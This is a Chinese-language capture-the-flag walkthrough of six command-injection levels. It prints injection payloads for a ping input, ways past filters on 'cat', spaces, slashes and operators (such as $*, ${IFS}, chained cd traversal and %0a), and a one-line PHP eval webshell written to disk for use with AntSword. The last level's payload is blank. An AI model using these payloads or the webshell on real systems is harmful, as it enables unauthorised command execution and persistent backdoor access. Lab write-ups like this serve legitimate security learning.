WEB-命令注入
命令注入----第一关(无过滤)
根据提示 flag在/tmp/flag.txt内
编辑注入语句
| 127.0.0.1|cat /tmp/flag.txt |
得到 flag

命令注入---第二关(过滤cat)
可使用 $* 、\、字母大小写 等过滤 关键字
编辑注入语句
| 127.0.0.1|ca$*t /tmp/flag.txt |
得到 flag

命令注入---第三关(过滤空格)
可使用 ${IFS}、>、< 等过滤空格
编辑注入语句
| 127.0.0.1|cat${IFS}/tmp/flag.txt |
得到 flag

命令注入---第四关(过滤目录)
查看源码,发现过滤了 /、\、//

因过滤的运算符,没法直接cat,
方法一:所以只有回到tmp目录下在查看flag,
方法二:或者可以通过写码的方式,直接后台查看
方法一:编辑注入语句
| 127.0.0.1;cd ..; cd ..;cd ..;cd ..;ls |
可以看到tmp目录,

在接着进入tmp目录下查看 flag.txt 在编辑语句
| 127.0.0.1;cd ..; cd ..;cd ..;cd ..;cd tmp;cat flag.txt |
得到 flag

方法二:编辑写入木马语句
| 127.0.0.1;echo "<?php @eval{$_POST[abcd]};?>" > 001.php |
查看一下,木马写入成功。接着使用中国蚁剑链接即可。蚁剑用法,可自行百度

命令注入--第五关(过滤运算符)
查看源码,发现,常用的分隔符和运算符都被过滤,但是没有过滤分号 ; 。

解题方法可以参考第四关
编辑语句
| 127.0.0.1;cd ..; cd ..;cd ..;cd ..;cd tmp;cat flag.txt |
得到 flag

命令注入---第六关(综合过滤)
查看源码,发现,常用的运算符、分隔符、和cat、flag等关键字及符号(包括空格 )都已被过滤
此关,可结合以上过滤方法及思路
绕过空格 :${IFS}、<、> 等符号
绕过关键字:$* 、\ 、”、字母大小写等
换行:%0a、%0d
TAB建补齐:%09

尝试写码,但;分号被过滤,没法写入
只能使用方法一,回到tmp目录下查看flag
编辑语句
|
|
此语句,使用

其语句思路和第四关、第五关一致,此关,在朋友的提示下发现,tmp目录下还有一个tmp目录,所以思路为:/tmp/tmp/flag.txt
至此 得到 flag

完。。。。


浙公网安备 33010602011771号